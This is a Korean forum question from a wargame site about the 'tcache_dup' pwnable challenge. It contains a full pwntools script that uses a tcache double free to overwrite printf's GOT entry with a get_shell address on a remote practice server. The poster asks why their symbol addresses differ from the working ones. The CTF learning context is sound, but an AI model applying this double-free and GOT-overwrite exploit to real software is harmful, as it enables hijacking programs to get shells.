get_shell과 printf_got의 주소값이 다릅니다.

원래는 아래와 같이 payload를 짜서 풀었는데 EOF가 나면서 에러가 떴습니다.

from pwn import *

p = remote("host3.dreamhack.games", 11786)
e = ELF("./tcache_dup")

def create(size,data):
    p.sendlineafter(">", str(1))
    p.sendlineafter("Size: ", str(size))
    p.sendafter("Data: ", data)

def delete(idx):
    p.sendlineafter(">", str(2))
    p.sendlineafter("idx:", str(idx))

get_shell = e.symbols['get_shell']
print_got = e.got['printf']

create(48, b"a"*0x8)
delete(0)
delete(0)

create(48,p64(print_got))
create(48,b'a'*8)

create(48, p64(get_shell))

p.interactive()

그래서 인터넷에 찾아보다보니 저의 get_shell의 주소와 print_got주소가 다르다는 것을 알았습니다. 제 환경에서 get_shell과 print_got의 주소를 출력하면 각각 0x400aa9, 0x602038가 나오는데 문제가 풀리는 주소는 0x400ab0, 0x601038였습니다.

질문은

  1. 이렇게 주소 차이가 발생하는 이유가 무엇인지요...?

입니다. 답변 부탁드립니다 ㅠㅠ 감사합니다!

#pwnable
작성자 정보
답변 1
탈퇴한 이용자
대표 업적 없음
2024.07.02. 20:09
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기